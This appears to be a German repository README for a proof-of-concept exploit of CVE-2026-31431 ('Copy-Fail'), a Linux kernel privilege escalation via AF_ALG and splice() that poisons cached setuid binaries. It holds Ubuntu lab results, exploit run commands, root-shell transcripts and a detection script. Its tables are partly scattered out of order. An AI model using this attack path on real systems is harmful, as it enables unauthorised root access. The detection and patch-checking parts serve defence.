
Proof-of-Concept-Exploit für CVE-2026-31431 (Copy-Fail), eine Schwachstelle im Linux-Kernel in AF_ALG und splice(), die Page-Cache-Poisoning und lokale Privilegieneskalation ermöglicht. Enthält Analyse, Laborergebnisse und Erkennungsskript.
Dieses Repository enthält eine detaillierte Analyse, einen Proof-of-Concept (PoC) sowie Labortestergebnisse für die Schwachstelle CVE-2026-31431, allgemein bekannt als „Copy-Fail“.
Copy-Fail nutzt einen Logikfehler in der Crypto-API des Linux-Kernels (AF_ALG) in Kombination mit dem Systemaufruf splice() aus. Es ermöglicht einem nicht privilegierten lokalen Angreifer, Page-Cache-Poisoning durchzuführen, was zu einer lokalen Privilegienausweitung (LPE) führt.
Im Gegensatz zu herkömmlichen Exploits, die Dateien auf der Festplatte verändern, zielt Copy-Fail direkt auf den Page Cache (RAM) ab. Wenn eine Datei gelesen wird, speichert der Kernel eine Kopie im RAM, um die Leistung zu verbessern. Aufgrund eines Speicherverwaltungsfehlers im authenc-Algorithmus auf bestimmten Kernel-Versionen kann ein Angreifer den Kernel dazu verleiten, diese „schreibgeschützten" Speicherseiten zu überschreiben.
Durch das Vergiften der Speicherseiten von SETUID-Binärdateien wie /usr/bin/su ist es möglich, die Authentifizierung zu umgehen und eine Root-Shell zu starten.
Die Tests wurden über mehrere Ubuntu-Distributionen hinweg durchgeführt, wobei insbesondere die Auswirkungen von Kernel-Backports und Patch-Management untersucht wurden.
| Distribution | Kernel-Version | Patch-Datum | Ergebnis | Beobachtung |
|---|---|---|---|---|
| Ubuntu 24.04 | 6.8.0-87-generic | Okt 2025 | ❌ Fehlgeschlagen | Sicherheitsupdates aktiv |
| Ubuntu 22.04 | 5.15.0-125-generic | Sep 2024 | ✅ ERFOLG | Verwundbar (ungepatcht) |
| Ubuntu 18.04 | 4.15.0-197-generic | Nov 2022 | ✅ ERFOLG | Verwundbar (ungepatcht) |
Kernel-Versionsnummern können irreführend sein. Während „neuere" Kernel wie 6.8 durch Sicherheitspatches geschützt sind, blieben ältere oder EOL-Kernel (End of Life) wie 4.15 und 5.15 aufgrund fehlender Backport-Fixes vollständig verwundbar.
Während der Forschung wurde ein bemerkenswertes Ergebnis erzielt, indem zwei verschiedene Ubuntu-22.04-Systeme mit derselben Haupt-Kernel-Version getestet wurden:
| Kernel-Version |
|---|
Dieser Test beweist, dass die Systemsicherheit nicht allein anhand der Hauptversionsnummer gemessen werden kann. Ein Server mit 5.15.0-125 kann in Sekunden kompromittiert werden, während 5.15.0-170 den Angriff vollständig blockiert.
Erfolgreiche Exploit-Ausgabe (Kernel 5.15.0-125):
$ python3 ubuntu_22.04_copy_fail_exploit.py
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#
Der PoC wurde mit ctypes entwickelt, um die Kompatibilität über verschiedene Python-Versionen hinweg zu gewährleisten (insbesondere für Versionen ohne native os.splice-Unterstützung).
sudo modprobe af_alg algif_aead authenc echainiv
python3 final_exploit.py
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
# 1. Kernel-Version prüfen
# uname -r
# 2. Geladene Module prüfen (Sicher, wenn keine Ausgabe)
# lsmod | grep -E "algif_aead|authencesn"
# 3. Kritischer Test — authencesn bind
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('[!] KRITISCH — System verwundbar!')
s.close()
except:
print('[+] Sicher — authencesn nicht erreichbar')
"
# 4. setuid-Binärdatei-Hash (Referenz)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd
Bewertungstabelle:
| Ergebnis | Bedeutung |
|---|---|
| Keine lsmod-Ausgabe + bind-Fehler | ✅ Sicher |
| lsmod-Ausgabe vorhanden ODER bind erfolgreich | ⚠️ Verwundbar, Patches sofort anwenden |
Haftungsausschluss: Diese Forschung und der PoC dienen ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die Verwendung auf nicht autorisierten Systemen kann rechtliche Konsequenzen haben.
| Patch-Datum |
|---|
| Ergebnis |
|---|
| Status |
|---|
| 5.15.0-125 | Sep 2024 | ✅ ERFOLG | Verwundbar (Exploit ausgelöst) |
| 5.15.0-170 | Jan 2026 | ❌ FEHLGESCHLAGEN | Sicher (gepatcht) |